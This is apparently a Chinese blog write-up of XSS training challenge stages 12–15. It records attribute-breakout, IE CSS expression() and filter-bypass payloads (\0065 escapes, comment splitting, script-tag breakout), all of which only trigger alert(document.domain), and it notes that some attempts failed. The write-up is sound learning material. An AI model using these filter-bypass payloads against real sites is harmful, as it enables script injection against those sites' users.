XSS challengs 12-15 通关记录
stage #12
1 | <input type="text" name="p1" size="50" value="123"> |
输入"<script>alert("ss")</script>
之后发现回显的结果中双引号和<>
没有了,所以推测过滤了这两个符号,这里用到的知识是
在IE8中会把
识别为双引号
所以设置windows自带浏览器兼容性设置,使用IE8打开这一关的网页,然后在搜索框中输入
1 | `` onmousemove=alert(document.domain); |
移动鼠标后出现弹窗,获得下一关的地址。
stage #13
1 | <input type="text" name="p1" size="60" style="background-color:salmon" value="background-color:salmon"> |
发现里里面有个style
样式,利用行内样式的动态属性进行xss
行内样式
我们同样可以在行内样式里利用IE浏览器支持的动态特性:
1
2 > <div style="color:expression(alert("sss"))">
>
过滤器会检查关键字
style
,随后跟随的不能是<,在随后是expression/style=[^<]*((ecpression\s*?[>]*?)|(behavior\s*:))[^<]*(?=\>)/Uis
所以需要把<放到其他地方:
1
2 > <div style="color:'<';color:expression(alert("sss"))">
>
插入代码
1 | xss:expression(onmousemove=function(){alert(document.domain)}) |
这个没搞出来
stage #14
安装上面一关的方法,在文本框中输入以下语句
1 | aa:expression(onmouseover=function(){alert(document.domain)}) |
提交后
1 | aa:xxx(onmouseover=function(){alert(document.domain)}) |
expression被处理成了xxx,推测有正则过滤
有四种方法来绕过过滤
- e -> \0065
- 加入\隔断
- 加入\0隔断
- 加入/**/隔断
1 | aa:\0065 xpression(onmouseover=function(){alert(document.domain)}) |
stage #15
1 | <script>document.write("123");</script> |
构造
1 | 11";</script><script>alert("sss") |
提交后查看结果发现一些字符被转换了
1 | <script>document.write("11";</script><script>alert("sss")");</script> |
1 | \x3cscript\x3ealert(document.domain);\x3c/script\x3e #这个不行,应该是过滤了单个 \ |
本文作者 : W4rnIn9
原文链接 : http://joner11234.github.io/article/8b8fd3ef.html
版权声明 : 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!